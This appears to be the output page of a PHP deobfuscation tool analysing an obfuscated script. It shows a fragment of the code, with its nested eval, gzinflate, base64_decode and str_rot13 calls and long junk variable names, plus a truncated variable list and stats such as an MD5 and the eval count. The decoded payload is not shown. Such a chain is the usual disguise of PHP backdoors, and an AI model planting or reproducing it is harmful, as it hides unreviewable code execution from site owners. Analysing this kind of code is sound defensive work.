xZRgOAzpmY3OmHRWRHz5AET5zZRWZIzp0BRE1MTE5Y1WgEQy0GKOzFzEuLzAzFJ9zGJ43o2Lkqmp3Y3EMEmEXoJEKGxIzHaSnn0MFL3qXnP9MGTpeLF9HqRSqnpyACJHZiMv9GL2Z5EREuZvf5EH4mZJqeI2qWL2DeZmZiLH55IUAaHKZjoyq0I1yzMHg1EyIgY0SxZRgOAzpmY3OmHRWRHz5AET5zZRWZIzp0BRE1MTE5Y1WgEQy0GKOzFzEuLzAzFJ9zGJ43o2Lkqmp3Y3EMEmEXoJEKGxIzHaSnn0MFL3qXnP9MGTpeLF9HqR);$kxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4r6g52erg0err6g20er6d65g1d2fg130000dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJg20err62r0he6r20d6f20df62b0df62FxSHrRWuGKq1rFgSZ1cyucJaWDqUEnJSWwFKS6Z0Egp1D65DSGM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6M3HT=gzinflate($jwu2A2EaGauErKumqmucJaWDqUEnJSWwFKS6Z0EgpHcerzqkpQSlqmMFoJqwoIO3AGIxq1uxqGE0oQyMET51MGSBY3D1owu2A2EaGauErKumqmucJaWDqUEnJSWwFKS6Z0EgpHcerzqkpQSlqmMFoJqwoIO3AGIxq1uxqGE0oQyMET51MGSBY3D1owu2A2EaGauErKumqmucJaWDqUEnJSWwFKS6Z0EgpHcerzqkpQSlqmMFoJqwoIO3AGIxq1uxqGE0oQyMET51MGSBY3D1o);eval($kxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4r6g52erg0err6g20er6d65g1d2fg130000dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJg20err62r0he6r20d6f20df62b0df62FxSHrRWuGKq1rFgSZ1cyucJaWDqUEnJSWwFKS6Z0Egp1D65DSGM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6M3HT);?>

Function Calls

gzinflate 5
str_rot13 5
base64_decode 10

Variables

$eer5g62er5ger6g52erg0err6g20er6d65g1d2fg130000dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJg20err62r0he6r20d6f20df62b0df62b0dn6d0n6d5f0gn6dgh5r0gd6g0d6fg50d6g0d6h0000fgh6fghfghfg6h146 JRbkGTD2pmE0FmRirzbkGxWQJzc1rJ1QZRSAIHEOFzbjrzgREGI2JJ1WMGEW..
$hjF1EfoQuhJRxkEmAkBISTFTA6M3HT9SpvgypUyknTM0200221g22222000jF1EfoQuhJRxkqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLra WEoxTGQ2czR0SzEvemoxTkJDWmp1eW1DMEFNVURBSmowemtERTV2WW1JZTRJ..
$cS651D65DSGM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6M3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA66f0dfg6df1gd6fg20d1602032S0Df0dfg6df1gd6fg20dG32S0D3GS0D3G203df0dfgd0fgdfg0dqUHyqEfg6df1gd6fg20dfg0d6fg OLrz9wL3MvEUqJY0SHFIAfGHETpzcaBKAlZmqHn211o0kYX0g1rKI6rzuXZ0..
$kxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4r6g52erg0err6g20er6d65g1d2fg130000dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJg20err62r0he6r20d6f20df62b0df62FxSHrRWuGKq1rFgSZ1cyucJaWDqUEnJSWwFKS6Z0Egp1D65DSGM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6M3HT eval(gzinflate(base64_decode(base64_decode(str_rot13('JRjmMT..
$fOLrz9wL3MvEUqJY0SHFIAfGHETpzcaBKAlZmqHn211o0kYX0g1rKI6rzuXZ0uUHTgnnTL5nmMyrSE0ZJ13IwV3BUEFMaMZJUEEqQMEJScOA0SMrQuGn2IxOLrz9wL3MvEUqJY0SHFIAfGHETpzcaBKAlZmqHn211o0kYX0g1rKI6rzuXZ0uUHTgnnTL5nmMyrSE0ZJ13IwV3BUEFMaMZJUEEqQMEJScOA0SMrQuGn2Ix JRbkGTD2pmE0FmRirzbkGxWQJzc1rJ1QZRSAIHEOFzbjrzgREGI2JJ1WMGEW..
$gqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLraqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLra JRbkGTD2pmE0FmRirzbkGxWQJzc1rJ1QZRSAIHEOFzbjrzgREGI2JJ1WMGEW..
$aqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLraMqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLraM JRbkGTD2pmE0FmRirzbkGxWQJzc1rJ1QZRSAIHEOFzbjrzgREGI2JJ1WMGEW..
$bf00JBOIPOPLKHgd65g1d2fg130000dfgdfgd0fgdfg0dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foU1gf110dfg1d0fgd1fg0dfg1KHgd65g1d2fg130000dfgdfgd0fgdfg0dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foU1gf110dfg1d0fgd1fg0dfg1 0ABoJp1qxA6DIqIqwOTA2yMZR5CZUqiY0V4A29YHGAVLH5YpyH5pTIVoUMRp..
$dS651D65DSGM3HT9SpvIPOPLKHgd65g1d2fg130000dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6M3HT9SpvgypUyknTMjF1EfoQuhJRxkqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLra qUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv..
$iSqnpyACJHZiMv9GL2Z5EREuZvf5EH4mZJqeI2qWL2DeZmZiLH55IUAaHKZjoyq0I1yzMHg1EyIgY0SxZRgOAzpmY3OmHRWRHz5AET5zZRWZIzp0BRE1MTE5Y1WgEQy0GKOzFzEuLzAzFJ9zGJ43o2Lkqmp3Y3EMEmEXoJEKGxIzHaSnn0MFL3qXnP9MGTpeLF9HqRSqnpyACJHZiMv9GL2Z5EREuZvf5EH4mZJqeI2qWL2DeZmZiLH55IUAaHKZjoyq0I1yzMHg1EyIgY0SxZRgOAzpmY3OmHRWRHz5AET5zZRWZIzp0BRE1MTE5Y1WgEQy0GKOzFzEuLzAzFJ9zGJ43o2Lkqmp3Y3EMEmEXoJEKGxIzHaSnn0MFL3qXnP9MGTpeLF9HqR XJ1Ld6s4tK1/zj1NBCZjuymC0AMUDAJj0zkDE5vYmIe4ISB+/V1U8zZqVNXe..

Stats

MD5 5ab24bf4ef782286b6d913df56372c1c
Eval Count 5
Decode Time 467 ms